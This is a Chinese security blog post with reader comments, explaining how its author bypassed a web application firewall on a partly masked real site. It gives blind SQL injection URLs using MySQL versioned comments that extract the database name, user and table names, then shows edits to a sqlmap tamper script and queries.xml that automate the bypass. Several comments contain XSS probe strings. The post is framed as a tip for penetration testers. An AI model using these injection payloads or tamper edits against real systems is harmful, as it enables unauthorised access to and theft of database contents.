Sqlmap小技巧

  Boom    编号: 010001    奖励 70 积分   2015.01.14   sqlmap web安全

前言

Sqlmap是python写的一个开源测试工具,因支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access 等多个份额较多的数据库,且功能强悍被众多安全测试者所使用,在现实的测试环境中,有很多测试者遇到注入都习惯使用Sqlmap去进行测试,假如Sqlmap无法跑出来,就不进行深入测试了,本文笔者将拿一个真实遇到的小例子,给大家简单讲述下从手工绕过waf,到实现Sqlmap自动测试的一个过程 :) 大牛就不用看了

手工测试

在测试某个项目的过程中,笔者正常浏览者页面,习惯性测试下搜索什么的,看下有没有xss或者其他类型的一些漏洞,在打开一个页面的时候,发现了一个aid的参数,习惯性的提交 and 1=1发现直接403了:

笔者测试了其他的一些参数,发现过滤了大部分的注入命令,但是可以利用mysql的注释方法进行绕过,例如网站会拦截sleep()函数,可以利用/*!50000sleep(5)*/绕过拦截,接上url试试:

http://**.com/lightapp/detail.php?qid=17364076 and /*!50000sleep(5)*/

发现会sleep几秒 :),看来是存在sql注入的,先获取下数据库的长度:

http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=1
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=2
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=3
...
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=8

到8的时候网页返回正确,可以获取到当前的数据库长度为8,继续往下猜:

http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(database(),8)=CHAR(115,105,116,101,100,97,116,97)

最终猜出的数据库名为:

sitedata

可以使用如下语句得出当前数据库用户为:

mysql_data@192.168.113.8
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(user(),23)=CHAR(109,121,115,113,108,95,100,97,116,97,64,
49,57,50,46,49,54,56,46,49,49,51,46,56)

查询当前数据库的第一个表名的长度可以使用语句:

http://**.com/lightapp/detail.php?qid=17364076/*!and*/length((select/*!50000table_name*//*!from*//*!information_schema.t
ables*/limit+0,1))=13

得出第一个数据表名的长度为13,试查询第二个数据表的表名,使用语句:

http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab
les*/limit+1,1),1)=char(99)

使用上述语句得到表名第一个字符的ascii码,依次类推:

http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab
les*/limit+1,1),17)=char(99,108,105,101,110,116,95,117,115,101,114,110,97,109,101,100,98)

得到第二个数据表的表名为

client_usernamedb

依次类推变可查询到所有数据。

修改Sqlmap tamper 实现自动测试

感觉写得有点标题党了 :) 其实这个没有什么难度,Sqlmap tamper目录下自带了很多脚本,很多测试者喜欢利用绕过waf,笔者翻temper目录看了一下,没有合适本次注入点的脚本:

笔者就利用halfversionedmorekeywords.py这个脚本做了下简单的修改,即可绕过上面的注入,看一下脚本中注释部分:

>>>tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,
97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0
CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

可以看到这个脚本所实现的效果是替换空格和关键字为/*!0,可将脚本的第45行:   

return match.group().replace(word, "/*!0%s" % word)

修改为:

return match.group().replace(word, "/*!50000%s*/" % word)

可以绕过第一步拦截,接着将sqlmap其他提交payload的地方进行修改,程序只要将关键字进行/*!50000关键字*/就会绕过拦截,这个注入同时会拦截cast函数,可将其改成convert函数也可以绕过拦截,Sqlmap/xml/queries.xml改为convert(%s,CHAR),dbms一定要对应相同类型的数据库,代码如下:

<?xml version="1.0" encoding="UTF-8"?>

<root>
    <!-- MySQL -->
    <dbms value="MySQL">
        <cast query="CAST(%s AS CHAR)"/>
        <length query="CHAR_LENGTH(%s)"/>
        <isnull query="IFNULL(%s,' ')"/>
        <delimiter query=","/>
        <limit query="LIMIT %d,%d"/>

Cast部分修改为:

<cast query="convert(%s,CHAR)"/>

为了让读者更加理解为什么要在这里修改,推荐读者看一篇文章 :)

Python:Sqlmap源码精读之解析xml
http://www.cnblogs.com/hongfei/archive/2014/07/22/sqlmap-xml.html

改完后执行:

python sqlmap.py -u "http://**.com/lightapp/detail.php?qid=17364076" –tamper "halfversionedmorekeywords.py"

总结

简单的总结下,Sqlmap  tamper提供了很多的demo,我们可以根据实际情况进行相应的修改应用即可 :)


小智解读:

Boom大湿私下藏了很多bypass waf的姿势,在Sobug的测试项目中也by pass了某些互联网一线安全厂商的waf,本期的sqlmap小技巧用作科普,大家有兴趣的话可以去读一读sqlmap的源码,会有很大的收获哦 :)

全部评论 (8)

登录注册


無名超人

学习了 Boom大湿还收徒弟吗

2015-01-14 18:39 1楼


0x0F

<i> 啪啪啪</i>

2015-01-15 13:41 2楼


小博

<img src="x" alt="x" />

2015-01-16 09:54 3楼


泳少

"><img src="x" alt="x" /><img src="#" alt="#" />

2015-01-17 00:27 4楼


px1624

这么明显的位置,怎么可能会有xss。。。。

2015-01-20 17:43 5楼


da^liang

boom 大神 ,你收徒弟血费多少?

2015-02-10 15:33 6楼


Zhensir

windows.close()

2015-05-21 21:03 7楼


turboguy

'>

2015-06-11 17:31 8楼